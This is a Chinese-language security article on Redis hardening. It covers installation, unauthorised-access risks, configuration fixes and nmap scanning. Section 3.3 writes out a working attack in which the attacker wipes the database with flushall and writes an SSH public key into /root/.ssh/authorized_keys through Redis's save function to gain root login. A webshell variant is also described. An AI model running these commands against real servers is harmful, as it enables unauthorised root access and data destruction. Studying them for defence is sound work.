Redis安全配置

1、Redis简介


redis是一个开源、支持网络、基于内存、键值对存储数据库,使用ANSI C编写。从2013年5月开始,Redis的开发由Pivotal赞助。在这之前,其开发由VMware赞助。

2、Redis服务架设


下载源码并安装

wget http://download.redis.io/releases/redis-2.8.7.tar.gz
tar xzf redis-2.8.7.tar.gz 
cd redis-2.8.7      
make                
make install   
#拷贝配置文件       
cp -p redis.conf /etc

直接执行,服务开启

redis-server

初始安装后redis默认没有任何限制,可以任意连接,默认运行端口6379 按照指定的配置文件来运行

redis-server /etc/redis.conf

如何连接redis 没有密码的

nc ip port
telnet ip port
redis-cli -h ip -p port

有密码验证的

redis-cli  -h ip -p port -a password

图形界面工具

redis Client

3、错误配置以及利用


3.1 未授权访问

redis直接启动默认没有任何限制的,可以直接连接,查看,更改redis中的数据

3.2 通过redis获取webshell

假设redis用户运行在wooyun用户在,同时该服务器开放web服务,已知web目录的绝对路径(phpinfo,报错等等),wooyun对web目录可以写入,则可以通过redis备份数据的过程写入shell

具体方法:Redis-getshell

3.3 通过redis获取服务器用户

假设redis用户运行在root用户,root用户对自己的authorized_keys可以控制,可以直接通过备份来写入ssh key。

先在attack server生成一个公钥

ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt

然后执行

redis-cli -h 192.168.192.133 flushall

cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn

登录redis redis-cli -h 192.168.192.133

CONFIG set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit

然后就可以使用ssh的私钥登录了

ssh -i redis [email protected]

From:redis-sshkey

4、实际案例

5、修复方案


不要以root用户运行redis

修改运行redis的端口,编辑配置文件

port 4321

如果只需要本地访问,编辑配置文件

bind 127.0.0.1

设定密码,编辑配置文件

requirepass  wooyun.org

在启动的时候需要指定配置文件的路径,这些设置才会生效

redis-server /etc/redis.conf

添加防火墙

#注意设置INPUT的默认匹配规则为REJECT,否则该规则无意义
iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 6379 -j ACCEPT

6、漏洞扫描与发现


使用nmap扫描redis的默认端口(6379)

nmap -Pn -p6379 -sV x.x.x.x/24

手工验证

nc ip 6379

后输入

info

观察回显

批量验证未授权访问

首先获得开放redis的ip,python中存在redis模块,可以快速编程验证。

7、相关资源